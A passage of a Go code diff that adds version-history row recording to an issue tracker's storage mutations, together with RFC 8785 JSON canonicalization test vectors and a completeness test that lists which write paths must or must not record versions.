} + // Version only when a row landed: INSERT IGNORE on an existing label is + // the no-op case, and a no-op mints nothing (the same gate the dependency + // helpers draw on their inserted/deleted row). + if !mintVersion || inserted == 0 { + return nil + } + return RecordVersionInTx(ctx, tx, issueID, actor) } // RemoveLabelInTx removes a label from an issue and records an event within // an existing transaction. Automatically routes to wisp tables if the ID is -// an active wisp. +// an active wisp. A deleted label row mints a version row; a DELETE that +// matched no row is a no-op and mints nothing. +func RemoveLabelInTx(ctx context.Context, tx DBTX, labelTable, eventTable, issueID, label, actor string) error { + return removeLabelInTx(ctx, tx, labelTable, eventTable, issueID, label, actor, true) +} + +// removeLabelInTx is the body of RemoveLabelInTx; mintVersion is +// addLabelInTx's, for the same reason. // //nolint:gosec // G201: table names come from WispTableRouting (hardcoded constants) -func RemoveLabelInTx(ctx context.Context, tx DBTX, labelTable, eventTable, issueID, label, actor string) error { +func removeLabelInTx(ctx context.Context, tx DBTX, labelTable, eventTable, issueID, label, actor string, mintVersion bool) error { if labelTable == "" || eventTable == "" { isWisp := IsActiveWispInTx(ctx, tx, issueID) _, lt, et, _ := WispTableRouting(isWisp) @@ -182,9 +213,14 @@ func RemoveLabelInTx(ctx context.Context, tx DBTX, labelTable, eventTable, issue eventTable = et } } - if _, err := tx.ExecContext(ctx, fmt.Sprintf(`DELETE FROM %s WHERE issue_id = ? AND label = ?`, labelTable), issueID, label); err != nil { + res, err := tx.ExecContext(ctx, fmt.Sprintf(`DELETE FROM %s WHERE issue_id = ? AND label = ?`, labelTable), issueID, label) + if err != nil { return fmt.Errorf("remove label: %w", err) } + deleted, err := res.RowsAffected() + if err != nil { + return fmt.Errorf("remove label: rows affected: %w", err) + } comment := "Removed label: " + label if err := InsertDerivedEvent(ctx, tx, eventTable, AuxEvent{ IssueID: issueID, @@ -194,5 +230,11 @@ func RemoveLabelInTx(ctx context.Context, tx DBTX, labelTable, eventTable, issue }); err != nil { return fmt.Errorf("remove label: record event: %w", err) } - return RecordEventInTx(ctx, tx, EventUpdate, issueID, actor) + if err := RecordEventInTx(ctx, tx, EventUpdate, issueID, actor); err != nil { + return err + } + if !mintVersion || deleted == 0 { + return nil + } + return RecordVersionInTx(ctx, tx, issueID, actor) } diff --git a/internal/storage/issueops/lease.go b/internal/storage/issueops/lease.go index 1ba79f473..d2b75f7e7 100644 --- a/internal/storage/issueops/lease.go +++ b/internal/storage/issueops/lease.go @@ -780,6 +780,12 @@ func ReclaimExpiredLeasesInTx(ctx context.Context, tx DBTX, cutoff time.Time, fi if err := RecordEventInTx(ctx, tx, EventUpdate, r.ID, actor); err != nil { return nil, err } + // The revert rewrote assignee, status and started_at — durable state — + // so the reclaimed issue gets a version row beside its journal entry, + // past the same two re-checks. + if err := RecordVersionInTx(ctx, tx, r.ID, actor); err != nil { + return nil, err + } // Logged HERE, past both re-checks, so the audit trail records reverts // that actually happened: a heartbeat landing after the snapshot makes // the DELETE match nothing, and a "reverting X" line printed up there diff --git a/internal/storage/issueops/persistence.go b/internal/storage/issueops/persistence.go index 36c83a367..1d8a1e95b 100644 --- a/internal/storage/issueops/persistence.go +++ b/internal/storage/issueops/persistence.go @@ -13,8 +13,20 @@ type PersistenceMoveResult struct { ChangedTables map[string]bool } -// MoveIssuePersistenceInTx moves a complete issue aggregate to the requested persistence mode. +// MoveIssuePersistenceInTx moves a complete issue aggregate to the requested +// persistence mode. A move that lands (or normalizes) the row on the issues +// plane mints a version row once the target row and its auxiliary copies +// exist; a move whose target is the wisp plane mints nothing (wisps are never +// versioned). func MoveIssuePersistenceInTx(ctx context.Context, tx DBTX, current *types.Issue, mode types.PersistenceMode, actor string) (PersistenceMoveResult, error) { + return moveIssuePersistenceInTx(ctx, tx, current, mode, actor, true) +} + +// moveIssuePersistenceInTx is the body of MoveIssuePersistenceInTx. +// mintVersion controls whether the move mints its own version row: the +// exported entry point always does, while ExecuteUpdate applies the +// persistence patch last and mints once for the whole guarded update. +func moveIssuePersistenceInTx(ctx context.Context, tx DBTX, current *types.Issue, mode types.PersistenceMode, actor string, mintVersion bool) (PersistenceMoveResult, error) { if tx == nil || current == nil || current.ID == "" { return PersistenceMoveResult{}, fmt.Errorf("move issue persistence: issue and transaction are required") } @@ -58,6 +70,13 @@ func MoveIssuePersistenceInTx(ctx context.Context, tx DBTX, current *types.Issue if err := RecordEventInTx(ctx, tx, EventUpdate, current.ID, actor); err != nil { return PersistenceMoveResult{}, err } + // Versioned only on the issues plane; a wisp-plane normalize keeps + // the wisp exclusion. + if mintVersion && !targetWisp { + if err := RecordVersionInTx(ctx, tx, current.ID, actor); err != nil { + return PersistenceMoveResult{}, err + } + } return result, nil } if !sourceWisp && targetWisp { @@ -124,10 +143,17 @@ func MoveIssuePersistenceInTx(ctx context.Context, tx DBTX, current *types.Issue result.ChangedTables[persistenceIssueTable(targetWisp)] = true // The bead keeps its ID across a plane move; only where it is stored // changes. Journal one update carrying the moved snapshot, after derived - // blocked-state maintenance has settled. + // blocked-state maintenance has settled. A move INTO the issues plane + // then mints the row's first version there, after its auxiliary copies + // and retargeted edges exist; a move into the wisp plane mints nothing. if err := RecordEventInTx(ctx, tx, EventUpdate, current.ID, actor); err != nil { return PersistenceMoveResult{}, err } + if mintVersion && !targetWisp { + if err := RecordVersionInTx(ctx, tx, current.ID, actor); err != nil { + return PersistenceMoveResult{}, err + } + } return result, nil } diff --git a/internal/storage/issueops/promote.go b/internal/storage/issueops/promote.go index 3456651ed..59a01c02a 100644 --- a/internal/storage/issueops/promote.go +++ b/internal/storage/issueops/promote.go @@ -131,9 +131,12 @@ func PromoteFromEphemeralInTx(ctx context.Context, tx DBTX, id string, actor str // The bead keeps its ID across promotion; only its plane changes. Journal // one update carrying the now-durable snapshot, after derived blocked-state - // maintenance has settled. + // maintenance has settled — and mint its first version: the promoted row + // is new durable state on the issues plane (a wisp is never versioned, so + // nothing precedes it), minted once after its labels, dependencies and + // comments have been copied across. if err := RecordEventInTx(ctx, tx, EventUpdate, id, actor); err != nil { return err } - return nil + return RecordVersionInTx(ctx, tx, id, actor) } diff --git a/internal/storage/issueops/reopen.go b/internal/storage/issueops/reopen.go index 03490b789..a527188a8 100644 --- a/internal/storage/issueops/reopen.go +++ b/internal/storage/issueops/reopen.go @@ -117,10 +117,15 @@ func reopenIssueInTx(ctx context.Context, tx DBTX, id, reason, actor string, ret } // Snapshot only after all derived blocked-state maintenance has completed. - // A reopen is a status change, so it journals as an update. + // A reopen is a status change, so it journals as an update and mints a + // version; the already-open early returns above write nothing and mint + // nothing. if err := RecordEventInTx(ctx, tx, EventUpdate, id, actor); err != nil { return nil, err } + if err := RecordVersionInTx(ctx, tx, id, actor); err != nil { + return nil, err + } return &ReopenResult{ IsWisp: isWisp, diff --git a/internal/storage/issueops/row_lock_guard_test.go b/internal/storage/issueops/row_lock_guard_test.go index ed329b58f..e43565398 100644 --- a/internal/storage/issueops/row_lock_guard_test.go +++ b/internal/storage/issueops/row_lock_guard_test.go @@ -139,6 +139,20 @@ var funcNameExemptions = map[string]string{ // Reminting here would be pointless content-wise and would let a stale // ExpectedVersion CAS reject a row it should still recognize. "resolveOneConflictRow": "whole-row `theirs` adoption: the adopted row_lock already vouches for the (identical) adopted content", + + // RecordVersionInTx (version_history.go) runs immediately after the + // mutation it is snapshotting — create.go/update.go's own writes, or + // domain/db's Insert/Update — and those callers have already minted a + // fresh row_lock in that same INSERT/UPDATE, in the same transaction. + // RecordVersionInTx's own `UPDATE issues SET current_revision = ?` only + // advances a denormalized pointer to the issue_versions row it just + // inserted; it deliberately does not touch row_lock at all (not even to + // carry the existing value forward) because reminting here would bump the + // token a second time within one transaction, invalidating the + // RowVersion/CAS value the primary mutation's own caller already + // captured and could cause a legitimate subsequent CAS check to fail as a + // spurious lost update. + "RecordVersionInTx": "runs after the primary mutation already minted a fresh row_lock in the same transaction; reminting here would double-bump the token and invalidate the RowVersion/CAS value already returned to that mutation's caller", } // TestAllIssueRowWritesStampRowLock is the load-bearing completeness guard for diff --git a/internal/storage/issueops/testdata/jcs/README.md b/internal/storage/issueops/testdata/jcs/README.md new file mode 100644 index 000000000..42b580f1f --- /dev/null +++ b/internal/storage/issueops/testdata/jcs/README.md @@ -0,0 +1,18 @@ +# RFC 8785 (JCS) test vectors + +The `input/` and `expected/` pairs are copied verbatim from +[github.com/gowebpki/jcs](https://github.com/gowebpki/jcs) v1.0.1 +(`testdata/input` and `testdata/output` upstream — the latter is named +`expected/` here because this repository's `.gitignore` drops any `output` +tree; Apache License 2.0, Copyright 2021 +Bret Jordan & Benedikt Thoma, Copyright 2006-2019 WebPKI.org), which carries +the RFC 8785 JSON Canonicalization Scheme test suite from +[cyberphone/json-canonicalization](https://github.com/cyberphone/json-canonicalization). +Each `input/.json` must canonicalize to exactly the bytes of +`expected/.json` (no trailing newline). + +`TestCanonicalDurableStateIsJCS` drives `canonicalDurableState` — the helper +`RecordVersionInTx` stores `issue_versions.durable_state` through — over every +pair, so the stored bytes are pinned to the published vectors rather than to +whatever the dependency happens to emit. Do not edit the pairs; local cases +belong in the test's own table. diff --git a/internal/storage/issueops/testdata/jcs/expected/arrays.json b/internal/storage/issueops/testdata/jcs/expected/arrays.json new file mode 100644 index 000000000..5efb93db7 --- /dev/null +++ b/internal/storage/issueops/testdata/jcs/expected/arrays.json @@ -0,0 +1 @@ +[56,{"1":[],"10":null,"d":true}] \ No newline at end of file diff --git a/internal/storage/issueops/testdata/jcs/expected/false.json b/internal/storage/issueops/testdata/jcs/expected/false.json new file mode 100644 index 000000000..02e4a84d6 --- /dev/null +++ b/internal/storage/issueops/testdata/jcs/expected/false.json @@ -0,0 +1 @@ +false \ No newline at end of file diff --git a/internal/storage/issueops/testdata/jcs/expected/french.json b/internal/storage/issueops/testdata/jcs/expected/french.json new file mode 100644 index 000000000..2e15cd1b2 --- /dev/null +++ b/internal/storage/issueops/testdata/jcs/expected/french.json @@ -0,0 +1 @@ +{"peach":"This sorting order","péché":"is wrong according to French","pêche":"but canonicalization MUST","sin":"ignore locale"} \ No newline at end of file diff --git a/internal/storage/issueops/testdata/jcs/expected/null.json b/internal/storage/issueops/testdata/jcs/expected/null.json new file mode 100644 index 000000000..ec747fa47 --- /dev/null +++ b/internal/storage/issueops/testdata/jcs/expected/null.json @@ -0,0 +1 @@ +null \ No newline at end of file diff --git a/internal/storage/issueops/testdata/jcs/expected/simpleString.json b/internal/storage/issueops/testdata/jcs/expected/simpleString.json new file mode 100644 index 000000000..2261bc20e --- /dev/null +++ b/internal/storage/issueops/testdata/jcs/expected/simpleString.json @@ -0,0 +1 @@ +"this is a test string 1235" \ No newline at end of file diff --git a/internal/storage/issueops/testdata/jcs/expected/structures.json b/internal/storage/issueops/testdata/jcs/expected/structures.json new file mode 100644 index 000000000..dc21e2424 --- /dev/null +++ b/internal/storage/issueops/testdata/jcs/expected/structures.json @@ -0,0 +1 @@ +{"":"empty","1":{"\n":56,"f":{"F":5,"f":"hi"}},"10":{},"111":[{"E":"no","e":"yes"}],"A":{},"a":{}} \ No newline at end of file diff --git a/internal/storage/issueops/testdata/jcs/expected/true.json b/internal/storage/issueops/testdata/jcs/expected/true.json new file mode 100644 index 000000000..f32a5804e --- /dev/null +++ b/internal/storage/issueops/testdata/jcs/expected/true.json @@ -0,0 +1 @@ +true \ No newline at end of file diff --git a/internal/storage/issueops/testdata/jcs/expected/unicode.json b/internal/storage/issueops/testdata/jcs/expected/unicode.json new file mode 100644 index 000000000..ee60fd121 --- /dev/null +++ b/internal/storage/issueops/testdata/jcs/expected/unicode.json @@ -0,0 +1 @@ +{"Unnormalized Unicode":"Å"} \ No newline at end of file diff --git a/internal/storage/issueops/testdata/jcs/expected/values.json b/internal/storage/issueops/testdata/jcs/expected/values.json new file mode 100644 index 000000000..29b720b6e --- /dev/null +++ b/internal/storage/issueops/testdata/jcs/expected/values.json @@ -0,0 +1 @@ +{"literals":[null,true,false],"numbers":[333333333.3333333,1e+30,4.5,0.002,1e-27],"string":"€$\u000f\nA'B\"\\\\\"/"} \ No newline at end of file diff --git a/internal/storage/issueops/testdata/jcs/expected/weird.json b/internal/storage/issueops/testdata/jcs/expected/weird.json new file mode 100644 index 000000000..62c83a333 --- /dev/null +++ b/internal/storage/issueops/testdata/jcs/expected/weird.json @@ -0,0 +1 @@ +{"\n":"Newline","\r":"Carriage Return","1":"One","":"Browser Challenge","€":"Control","ö":"Latin Small Letter O With Diaeresis","€":"Euro Sign","😂":"Smiley","דּ":"Hebrew Letter Dalet With Dagesh"} \ No newline at end of file diff --git a/internal/storage/issueops/testdata/jcs/input/arrays.json b/internal/storage/issueops/testdata/jcs/input/arrays.json new file mode 100644 index 000000000..20e62263c --- /dev/null +++ b/internal/storage/issueops/testdata/jcs/input/arrays.json @@ -0,0 +1,8 @@ +[ + 56, + { + "d": true, + "10": null, + "1": [ ] + } +] diff --git a/internal/storage/issueops/testdata/jcs/input/false.json b/internal/storage/issueops/testdata/jcs/input/false.json new file mode 100644 index 000000000..02e4a84d6 --- /dev/null +++ b/internal/storage/issueops/testdata/jcs/input/false.json @@ -0,0 +1 @@ +false \ No newline at end of file diff --git a/internal/storage/issueops/testdata/jcs/input/french.json b/internal/storage/issueops/testdata/jcs/input/french.json new file mode 100644 index 000000000..4ff6d3de2 --- /dev/null +++ b/internal/storage/issueops/testdata/jcs/input/french.json @@ -0,0 +1,6 @@ +{ + "peach": "This sorting order", + "péché": "is wrong according to French", + "pêche": "but canonicalization MUST", + "sin": "ignore locale" +} diff --git a/internal/storage/issueops/testdata/jcs/input/null.json b/internal/storage/issueops/testdata/jcs/input/null.json new file mode 100644 index 000000000..ec747fa47 --- /dev/null +++ b/internal/storage/issueops/testdata/jcs/input/null.json @@ -0,0 +1 @@ +null \ No newline at end of file diff --git a/internal/storage/issueops/testdata/jcs/input/simpleString.json b/internal/storage/issueops/testdata/jcs/input/simpleString.json new file mode 100644 index 000000000..e6463d629 --- /dev/null +++ b/internal/storage/issueops/testdata/jcs/input/simpleString.json @@ -0,0 +1 @@ + "this is a test string 1235" \ No newline at end of file diff --git a/internal/storage/issueops/testdata/jcs/input/structures.json b/internal/storage/issueops/testdata/jcs/input/structures.json new file mode 100644 index 000000000..eb71efb84 --- /dev/null +++ b/internal/storage/issueops/testdata/jcs/input/structures.json @@ -0,0 +1,8 @@ +{ + "1": {"f": {"f": "hi","F": 5} ,"\n": 56.0}, + "10": { }, + "": "empty", + "a": { }, + "111": [ {"e": "yes","E": "no" } ], + "A": { } +} \ No newline at end of file diff --git a/internal/storage/issueops/testdata/jcs/input/true.json b/internal/storage/issueops/testdata/jcs/input/true.json new file mode 100644 index 000000000..f32a5804e --- /dev/null +++ b/internal/storage/issueops/testdata/jcs/input/true.json @@ -0,0 +1 @@ +true \ No newline at end of file diff --git a/internal/storage/issueops/testdata/jcs/input/unicode.json b/internal/storage/issueops/testdata/jcs/input/unicode.json new file mode 100644 index 000000000..4b5bc7699 --- /dev/null +++ b/internal/storage/issueops/testdata/jcs/input/unicode.json @@ -0,0 +1,3 @@ +{ + "Unnormalized Unicode":"A\u030a" +} diff --git a/internal/storage/issueops/testdata/jcs/input/values.json b/internal/storage/issueops/testdata/jcs/input/values.json new file mode 100644 index 000000000..f7712c2fb --- /dev/null +++ b/internal/storage/issueops/testdata/jcs/input/values.json @@ -0,0 +1,5 @@ +{ + "numbers": [333333333.33333329, 1E30, 4.50, 2e-3, 0.000000000000000000000000001], + "string": "\u20ac$\u000F\u000aA'\u0042\u0022\u005c\\\"\/", + "literals": [null, true, false] +} \ No newline at end of file diff --git a/internal/storage/issueops/testdata/jcs/input/weird.json b/internal/storage/issueops/testdata/jcs/input/weird.json new file mode 100644 index 000000000..53fabe67b --- /dev/null +++ b/internal/storage/issueops/testdata/jcs/input/weird.json @@ -0,0 +1,11 @@ +{ + "\u20ac": "Euro Sign", + "\r": "Carriage Return", + "\u000a": "Newline", + "1": "One", + "\u0080": "Control\u007f", + "\ud83d\ude02": "Smiley", + "\u00f6": "Latin Small Letter O With Diaeresis", + "\ufb33": "Hebrew Letter Dalet With Dagesh", + "": "Browser Challenge" +} diff --git a/internal/storage/issueops/unclaim.go b/internal/storage/issueops/unclaim.go index a25bbbf55..97b126af7 100644 --- a/internal/storage/issueops/unclaim.go +++ b/internal/storage/issueops/unclaim.go @@ -129,8 +129,12 @@ func finishUnclaimInTx(ctx context.Context, tx DBTX, eventTable string, id strin } // A release changes assignee and status, so it journals as an update. Both // unclaim entry points funnel through here after their CAS succeeded, so - // this covers the conditional release too. - return RecordEventInTx(ctx, tx, EventUpdate, id, actor) + // this covers the conditional release too — and the version row minted + // beside it, for the same durable-state change. + if err := RecordEventInTx(ctx, tx, EventUpdate, id, actor); err != nil { + return err + } + return RecordVersionInTx(ctx, tx, id, actor) } // UnclaimIssueIfAssigneeInTx atomically releases a claim only while the issue is diff --git a/internal/storage/issueops/update.go b/internal/storage/issueops/update.go index 1ef27ce6c..3bff46c05 100644 --- a/internal/storage/issueops/update.go +++ b/internal/storage/issueops/update.go @@ -335,17 +335,24 @@ type UpdateResult struct { // //nolint:gosec // G201: table names come from WispTableRouting (hardcoded constants) func UpdateIssueInTx(ctx context.Context, tx DBTX, id string, updates map[string]interface{}, actor string) (*UpdateResult, error) { - return updateIssueInTx(ctx, tx, id, updates, actor, true) + return updateIssueInTx(ctx, tx, id, updates, actor, true, true) } // UpdateIssueWithoutEventInTx applies normal update semantics without recording // an intermediate event. Demotion uses this to preserve the historical event // stream: create/update history is copied, then a single demotion event is added. func UpdateIssueWithoutEventInTx(ctx context.Context, tx DBTX, id string, updates map[string]interface{}, actor string) (*UpdateResult, error) { - return updateIssueInTx(ctx, tx, id, updates, actor, false) + return updateIssueInTx(ctx, tx, id, updates, actor, false, true) } -func updateIssueInTx(ctx context.Context, tx DBTX, id string, updates map[string]interface{}, actor string, recordEvent bool) (*UpdateResult, error) { +// updateIssueInTx is the body behind both exported update entry points. +// recordEvent gates the human-facing audit event only. mintVersion controls +// whether an accepted update mints its own version row: both exported entry +// points always do, while ExecuteUpdate — which applies label, parent and +// persistence patches AFTER the row write in the same call — passes false and +// mints once after the last patch, so the version's durable_state carries the +// patched labels and edges rather than the pre-patch row. +func updateIssueInTx(ctx context.Context, tx DBTX, id string, updates map[string]interface{}, actor string, recordEvent bool, mintVersion bool) (*UpdateResult, error) { updates = cloneUpdateFields(updates) // Pop the override before anything reads the map as a set of columns. It // has to come out ahead of the no-op filter too: the filter keeps every key @@ -544,6 +551,11 @@ func updateIssueInTx(ctx context.Context, tx DBTX, id string, updates map[string if err := RecordEventInTx(ctx, tx, EventUpdate, id, actor); err != nil { return nil, err } + if mintVersion { + if err := RecordVersionInTx(ctx, tx, id, actor); err != nil { + return nil, err + } + } return updateResult, nil } diff --git a/internal/storage/issueops/version_completeness_test.go b/internal/storage/issueops/version_completeness_test.go new file mode 100644 index 000000000..018e6a136 --- /dev/null +++ b/internal/storage/issueops/version_completeness_test.go @@ -0,0 +1,589 @@ +package issueops + +import ( + "fmt" + "go/ast" + "go/parser" + "go/token" + "os" + "path/filepath" + "reflect" + "sort" + "testing" + + "github.com/steveyegge/beads/internal/storage/journalscan" +) + +// This file is the versioned-history twin of journal_completeness_test.go. The +// law it pins (gastownhall/beads#6358, Phase 2 dual-write): every ACCEPTED +// mutation of an issue's durable state — the issues/wisps columns, its labels +// and its outgoing dependencies, i.e. what GetIssueInTx hydrates plus what +// RecordVersionInTx loads — mints exactly one issue_versions row, in the same +// transaction, as the mutation's LAST durable-state write; a no-op mints none; +// a wisp is never versioned (the seam excludes it itself). Comments are not in +// durable_state, is_blocked is derived, and a deleted row has nothing to +// version, so those paths deliberately never reach the seam. +// +// Like the journal guard it detects mutators STRUCTURALLY, by the DML a +// function executes, so a new write path cannot ship without either reaching +// RecordVersionInTx or being justified in the exemption table below. + +// versionMintHelpers are the helpers whose call mints a version row. There is +// exactly one seam; a function mints if it calls it directly or through a +// named helper (mintDependencyVersion, addLabelInTx, updateIssueInTx, ...) +// whose mint it did not switch off — see versionMintGate. +var versionMintHelpers = map[string]bool{ + "RecordVersionInTx": true, +} + +// versionMintGate names the boolean parameter the constituent helpers +// (claimIssueInTx, updateIssueInTx, applyLabelPatch, applyParentPatch, +// moveIssuePersistenceInTx, addLabelInTx, removeLabelInTx, addDependencyInTx, +// removeDependencyInTx) mint under. mintDependencyVersion spells its own +// "mint", but it is only ever handed a caller's mintVersion, never a literal, +// so the one name covers every switch-off in the package. +const versionMintGate = "mintVersion" + +// versionMintEdges follows the same call-graph discipline as journalEmitEdges +// — nothing in the derived-readiness family mints, and a mutator must not be +// able to inherit a mint through a recompute — with one refinement the journal +// guard has no need for: a helper that takes a mintVersion bool mints only +// when asked to, so a call passing the literal false for it is NOT a minting +// edge. That is how a composite mutation runs its constituents without minting +// and mints once itself at the end (ExecuteUpdate's claim, row write, label +// and parent patches and persistence move). Without the refinement the +// fixpoint credited the composite with the mint it told its constituents to +// skip, and deleting its own final RecordVersionInTx stayed green (reviewer +// Probe 2 on gastownhall/beads#6358). A call passing true, a variable, or the +// caller's own mintVersion parameter is still a minting edge, so the leaf +// wrappers (ClaimIssueInTx, ApplyLabelPatch, ...) and the forwarding helpers +// keep theirs. +func versionMintEdges(fns map[string]*journalscan.FuncInfo) func(*journalscan.FuncInfo) []string { + return func(f *journalscan.FuncInfo) []string { + var live []string + for _, callee := range journalEmitEdges(f) { + if journalscan.CallsOnlyWithLiteralFalse(fns, f, callee, versionMintGate) { + continue + } + live = append(live, callee) + } + return live + } +} + +// versionCompositeMutations are the functions that run constituents with +// versionMintGate switched off and mint once themselves, so each must carry +// its own RecordVersionInTx: nothing it calls with the gate off can carry it +// on its behalf. TestCompositeMutationsCarryTheirOwnMint is what turns +// reviewer Probe 2 (delete ExecuteUpdate's final mint block) into a failure. +var versionCompositeMutations = []string{ + "ExecuteUpdate", + "applyLabelPatch", + "applyParentPatch", +} + +// versionedEntryPoints are the issueops functions that mutate an issue's +// durable state and must therefore mint — directly or through a helper that +// does. Every write plumbing bottoms out in one of these; the structural +// cross-check (TestEveryBeadMutatorMintsOrIsExempt) keeps the list complete. +var versionedEntryPoints = []string{ + // create — the singular path mints in place; the batch path defers the + // mint past PersistDependenciesWithOptionsResult so the first version + // carries the creation-time edge set. + "CreateIssueInTx", + "CreateIssueInTxWithResult", + "CreateIssuesInTx", + "CreateIssuesInTxWithResult", + "CreateIssuesInTxWithContext", + // update, including the metadata verbs that write through it, the label + // and parent patches, and the persistence move + "UpdateIssueInTx", + "UpdateIssueWithoutEventInTx", + "MergeMetadataInTx", + "DeleteMetadataInTx", + "CompareAndSetMetadataKeyInTx", + "ApplyLabelPatch", + "ApplyParentPatch", + "MoveIssuePersistenceInTx", + // close / reopen, including the guarded CAS + savepoint path + "CloseIssueInTx", + "CloseIssueWithoutEventInTx", + "CloseIssueCheckedInTx", + "ReopenIssueInTx", + // the delete role's neighbour rewrite versions the surviving neighbours + // (the deleted rows themselves are the delete family, exempt below) + "RewriteDeletedReferencesInTx", + // claim / release / lease recovery + "ClaimIssueInTx", + "ClaimReadyIssueInTx", + "UnclaimIssueInTx", + "UnclaimIssueIfAssigneeInTx", + "ReleaseIssueInTx", + "ReclaimExpiredLeasesInTx", + // plane moves, graph edges, labels, scheduled status flips + "PromoteFromEphemeralInTx", + "AddDependencyInTx", + "RemoveDependencyInTx", + "AddLabelInTx", + "RemoveLabelInTx", + "WakeExpiredDefersInTx", + // the public lifecycle surface (roles/facade wave). These delegate to the + // leaves above; listing them pins the delegation so a role that grows its + // own DML cannot quietly stop versioning. + "ExecuteCreate", + "ExecuteCreateBatch", + "ExecuteUpdate", + "ExecuteClose", + "ExecuteCloseBatch", + "ExecuteReopen", + "ExecuteClaim", + "ExecuteClaimNext", + "ExecuteAddDependencies", + "ExecuteRemoveDependency", + "ApplyBatchInTx", +} + +// versionExemptions are exported functions the DML detector flags as writing a +// work-bead table but which legitimately do NOT mint a version for the row +// they write, each with a reason. The staleness check fails if any stops being +// flagged, so an exemption cannot rot. Note that some of these DO reach the +// seam transitively for a NEIGHBOUR (DeleteInTx rewrites references on the +// surviving issues through UpdateIssueInTx); the exemption is about the row +// the function itself writes, and versionNeverMints below pins the ones that +// must not reach the seam at all. +var versionExemptions = map[string]string{ + // comments — a separate table, not part of durable_state (GetIssueInTx + // hydrates labels, not comments), so a comment write versions nothing. + "AddIssueCommentInTx": "comments are not in durable_state", + "ImportIssueCommentInTx": "comments are not in durable_state", + "ExecuteAddComment": "comments are not in durable_state", + "AddCommentEventInTx": "comments are not in durable_state", + "PersistComments": "constituent comment write of a create; comments are not in durable_state", + "InsertDerivedComment": "raw comment insert; comments are not in durable_state", + + // is_blocked — derived readiness state, recomputed from the graph, never + // a mutation of the bead in its own right. + "RecomputeIsBlockedInTx": "is_blocked is derived state", + "RecomputeIsBlockedInTxWithResult": "is_blocked is derived state", + "RecomputeIsBlockedForIDsInTx": "is_blocked is derived state", + "RecomputeIsBlockedForWispIDsInTx": "is_blocked is derived state", + "RecomputeIsBlockedAfterMergeInTx": "is_blocked is derived state", + "RecomputeAllIsBlockedInTx": "is_blocked is derived state", + "MarkIsBlockedInTx": "is_blocked is derived state", + + // the delete family — no surviving row to version; the deleted-Versioned- + // Bead guarantee is Phase 3 (#6358). DeleteInTx versions its NEIGHBOURS + // through RewriteDeletedReferencesInTx, never the deleted rows. + "DeleteIssueInTx": "delete family: no surviving row (Phase 3)", + "DeleteIssuesInTx": "delete family: no surviving row (Phase 3)", + "DeleteResolvedSetInTx": "delete family: no surviving row (Phase 3)", + "DeleteInTx": "delete family: no surviving row (Phase 3); neighbours version via RewriteDeletedReferencesInTx", + "SweepInTx": "delete family: no surviving row (Phase 3)", + "DeleteIssuesBySourceRepoInTx": "bulk delete: no surviving row (Phase 3)", + "DeleteWispFromDependenciesInTx": "delete-family cleanup of edges whose target is gone", + "DeleteWispsFromDependenciesInTx": "delete-family cleanup of edges whose target is gone", + + // rename — history stays keyed to the old id; out of contract by design. + "UpdateIssueIDInTx": "rename: out of contract by design (history stays keyed to the old id)", + "UpdateWispIDInDependenciesInTx": "rename: dep-row rekey, out of contract by design", + "UpdateIssueIDInDependenciesInTx": "rename: dep-row rekey, out of contract by design", + + // compaction bookkeeping and restore — outside the op vocabulary; the + // content rewrite that precedes compaction versions through UpdateIssue. + "ApplyCompactionInTx": "compaction bookkeeping columns, out of contract by design", + "RestoreFromSnapshotInTx": "restore: CAS composition is Phase 3 (#6358)", + + // constituent sub-helpers whose entry point mints the whole mutation once + "InsertIssueIntoTable": "raw issue insert; the calling create entry point mints", + "InsertIssueIfNew": "raw issue insert; the calling create entry point mints", + "InsertIssueStrictInTx": "raw issue insert; the calling create/persistence-move entry point mints", + "PersistLabels": "constituent label write of a create; the create entry point mints", + "PersistDependencies": "creation-time edges; CreateIssuesInTxWithContext mints once per issue after they land", + "PersistDependenciesWithResult": "creation-time edges; CreateIssuesInTxWithContext mints once per issue after they land", + "PersistDependenciesWithOptionsResult": "creation-time edges; CreateIssuesInTxWithContext mints once per issue after they land", + "RetargetInboundDependenciesToWispInTx": "rewrites INBOUND edges during a plane move; the moved issue's own entry point mints", + "RetargetInboundDependenciesToIssueInTx": "rewrites INBOUND edges during a plane move; the moved issue's own entry point mints", + + // aux tables matched via templated %s, not work-bead state + "ReconcileChildCounters": "child_counters are derived CLI acceleration state", + "GetNextChildIDTx": "child_counters allocation, not work-bead state", + "RecordEventInTable": "writes the events audit table (templated %s), not work-bead state", + "RecordFullEventInTable": "writes the events audit table (templated %s), not work-bead state", + "InsertDerivedEvent": "writes the events audit table (templated %s), not work-bead state", + "InsertDerivedEventReturningID": "writes the events audit table (templated %s), not work-bead state", + + // the seam itself: its UPDATE issues SET current_revision is the + // bookkeeping half of the mint, not a mutation that needs its own. + "RecordVersionInTx": "the seam itself; advances current_revision to match the row it just inserted", +} + +// versionNeverMints pins the deliberate NOT-versioned rulings from the other +// side: each must exist and must not reach RecordVersionInTx, directly or +// transitively, so a well-meaning edit cannot silently start versioning +// comments, derived state, deletes, renames, compaction bookkeeping, lease +// keepalives or bootstrap. (Migrations live in the schema package and are out +// of this scan's reach; they are out of contract by design.) +var versionNeverMints = map[string]string{ + "AddIssueCommentInTx": "comments are not in durable_state", + "ImportIssueCommentInTx": "comments are not in durable_state", + "ExecuteAddComment": "comments are not in durable_state", + "RecomputeIsBlockedInTx": "is_blocked is derived state", + "RecomputeIsBlockedInTxWithResult": "is_blocked is derived state", + "RecomputeIsBlockedForIDsInTx": "is_blocked is derived state", + "RecomputeIsBlockedForWispIDsInTx": "is_blocked is derived state", + "RecomputeIsBlockedAfterMergeInTx": "is_blocked is derived state", + "RecomputeAllIsBlockedInTx": "is_blocked is derived state", + "MarkIsBlockedInTx": "is_blocked is derived state", + "DeleteIssueInTx": "delete family (Phase 3)", + "DeleteIssuesInTx": "delete family (Phase 3)", + "DeleteResolvedSetInTx": "delete family (Phase 3)", + "DeleteIssuesBySourceRepoInTx": "bulk delete (Phase 3)", + "UpdateIssueIDInTx": "rename: out of contract by design", + "ApplyCompactionInTx": "compaction bookkeeping: out of contract by design", + "RestoreFromSnapshotInTx": "restore: Phase 3", + "HeartbeatIssueInTx": "lease keepalive: writes only the clone-local leases table, never a durable bead field", + "BootstrapInTx": "bootstrap: config and metadata tables only, no issue-plane row", +} + +func versionMints(t *testing.T) (map[string]*journalscan.FuncInfo, map[string]bool) { + t.Helper() + return versionMintsIn(t, ".") +} + +// versionMintsIn is versionMints over the package at dir, so the guard's own +// machinery can be proven against a synthetic package. +func versionMintsIn(t *testing.T, dir string) (map[string]*journalscan.FuncInfo, map[string]bool) { + t.Helper() + fns, err := journalscan.ParsePackage(dir) + if err != nil { + 